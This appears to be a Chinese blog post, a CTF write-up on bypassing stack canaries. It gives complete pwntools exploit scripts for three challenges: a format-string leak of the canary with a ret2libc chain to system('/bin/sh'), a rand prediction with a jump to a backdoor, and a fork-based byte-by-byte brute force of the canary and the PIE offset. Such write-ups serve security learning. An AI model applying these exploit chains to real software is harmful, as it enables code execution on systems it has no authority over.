canary??!!

文章介绍了Canary作为栈溢出防护机制的工作原理,包括其在函数调用中的位置以及在安全检查中的作用。同时,文中展示了两种Canary绕过方法:爆破Canary和利用格式化字符串漏洞泄露并覆盖Canary。此外,文章还讨论了PIE和ASLR技术在防止地址预测中的角色,并提供了一个逐字节爆破Canary以绕过PIE保护的示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

canary??!!

canary介绍:

  1. 在函数调用发生时,向栈帧内压入一个额外的随机DWORD,这个随机数被称为“Canary”
  2. 如果使用IDA反汇编的话,您可能会看到IDA会将这个随机数标注为“Security Cookie”,在部分书籍的叙述中会用Security Cookie来引用这种随机数
  3. Canary位于EBP之前,系统还将在内存区域中存放一个Canary的副本
  4. 当栈中发生溢出时,Canary将被首先淹没,之后才是EBP和返回地址
  5. 在函数返回之前,系统将执行一个额外的安全验证操作,被称作“Security check”在Security check过程中,系统将比较栈帧中原先存放的Canary和在内存中的副本,如果两者不符合,说明栈帧中的Canary已被破坏,即栈中发生了溢出
  6. 当检测到栈中发生了溢出时,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行

Canary绕过方式

一般canary有两种利用方式 1.爆破canary 2.如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过

绕过案例1——printf泄露并在覆盖canary

[bjdctf_2020_babyrop2](BUUCTF在线评测 (buuoj.cn))

​ printf泄露并在覆盖canary

检查程序

在这里插入图片描述

两次输入点,放入IDA看一下。
  • gift函数

在这里插入图片描述

  • vlun函数

在这里插入图片描述

  1. gitf函数很明显有格式话字串溢出,可以利用去泄露canary。
  2. 将泄露的canary去覆写在buf上,从而达到目的

那么现在,我们只需要一个system(/bin/sh)就可以达到目的了。

在这里插入图片描述

在这里插入图片描述

当我检查字符串时,并没有/bin/sh和system函数plt表项,所以需要我泄露libc,去构建system(/bin/sh)

好,我们所有的大致思路有了,接下来,就是细节上功夫了。

泄露canary

我们需要通过gdb调试(需要gdb与pwndbg联合调试,如果gdb没有fmtarg命令的或,需要通过下面连接去调整。

gdb+pwndbg联合调试

在这里插入图片描述

所以构造的第一份payload1为

%7$p  #但是我试过一个%11$p也可以泄露canary,需要大佬知道一下
接下来就是,泄露libc基址和构造ROP链

泄露puts函数地址

payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

执行system(/bin/sh)

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
payload2 =  b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
所以exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(os = 'linux',arch = 'amd64')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('bjd')
# p = remote('node4.buuoj.cn',26896)
# p.recv()
# gdb.attach(p)

p.recvuntil(b"I'll give u some gift to help u!\n")
gdb.attach(p)
pause()
# p.sendline(b'aaaaa')
p.sendline(b'%11$p')
# p.recvuntil(b'0x')	
canary = int(p.recv(18)[2:],16)
print(hex(canary))

elf = ELF('bjd')
pop_rdi_ret =0x0000000000400993
pop_rsi_r15 =0x0000000000400991
ret =0x00000000004005f9
# main_addr = 0x04008DA
vuln_addr = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload1 = b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +  p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.sendline(payload1)
# puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')

payload2 =  b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
p.recv()
p.sendline(payload2)
p.interactive()
ISCC——三个愿望
checksec

在这里插入图片描述

开启了canary保护

直接ida

main

在这里插入图片描述

begingame

在这里插入图片描述

secondwish

在这里插入图片描述

thirdwish

在这里插入图片描述

backdoor

在这里插入图片描述

分析下哈,当程序进入到begingame里,会有一个随机数判断,所以第一步我们需要去覆盖这个随机数。绕过if判断,进入secondwish,在这里面很明显会有一个canary保护,同时也有一个格式化字符串漏洞,利用格式化字符串去泄露canary,然后利用泄露的canary去覆写 thirdwish的s的canary。并且程序中有后门函数,将返回地址改到后门即可

去找一下canary的距离格式化字符串的偏移

在这里插入图片描述

在这里插入图片描述

%11$s 
所以就直接放exp出来了:
from pwn import *
from ctypes import *
context.log_level = 'debug'
debug = 1
if(debug):
	p = process('./wi')
else:
	p = remote('',)

libc = cdll.LoadLibrary('libc.so.6')

p.recvuntil('make your first wish\n')
p.sendline(b'a'*14)
# payload = b'a'*2+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)

data = libc.rand(libc.srand(0))
num = str(data % 9+1)
p.recvuntil('give me a number!\n')
p.sendline(num)
gdb.attach(p)
pause()
# payload1 = b'aaaaa'
payload1 =  b'%11$p'
p.sendline(payload1)
p.recvuntil('your second wish!\n')
# p.recvuntil('0x')
canary = int(p.recv(18)[2:],16)
print(canary)
p.recvuntil("Please give me a number!")
p.sendline(str(2))
p.recvuntil("ow you can make your final wish!")
p.sendline(b'a'*0x28+p64(canary)+b'a'*8+p64(0x4011f5))
p.interactive()

绕过案列2——逐字节爆破canary(有pie

[[CISCN 2023 初赛]funcanary]([CISCN 2023 初赛]funcanary | NSSCTF (ctfer.vip))

这题既然有pie的话,那就先介绍一下pie吧。

Linux 下的PIE与ASLR

由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其他地址固定的内存块。

而PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。

ASLR则主要负责其他内存的地址随机化。

PIE如何作用于ELF可执行文件

ELF程序运行的时候是cpu在硬盘上调入加载进内存的,这个时候程序就有了内存地址空间。

ELF file format:
+---------------+
|  File header  | # 文件头保存每个段类型和长度
+---------------+ 
| .text section | # 代码段 存放代码和指令
+---------------+
| .data section | # 数据段 
+---------------+
| .bss section  | # bss段 存放未初始化的全局变量和静态变量,一般可读写
+---------------+ # 是存放shellcode的好地方。
|      ...      |
+---------------+
|  xxx section  |# 还有字符串段、符号表段行号表段等
+---------------+
checksec

在这里插入图片描述

保护开的很全面哈

看下ida

main

在这里插入图片描述

canary

backdoor

在这里插入图片描述

这是一个子线程覆盖canary,首先fork一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止,这就跟便于我们对canary的爆破,通过下面的汇编会更清晰的了解子线程和父线程的关系。

在这里插入图片描述

总之,通过fork,我们可以逐字节爆破canary。
from pwn import *
elf = ELF('./ser')
p = process('./ser')
#p=remote('',)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):# 32位程序爆3.
    for i in range(256):
        p.send(b'a'*0x68 + canary + p8(i))
        a = p.recvuntil("welcome\n")
        if b"fun" in a:
                canary += p8(i)
                print(b"canary: " + canary)
                break               

接下来爆Pie。

for i in range(16):
    payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适,这里p8的范围是2-242也就是0x0000-0xf200,如果地址是0xf700啥的会不会有问题?或许类似下面这种跟合适?
    #list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
    p.send(payload)
    a = p.recv()
    if b'flag' in a:
        print(a)
        break
p.interactive()
# 来源Hyrink师傅
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y_huanhuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值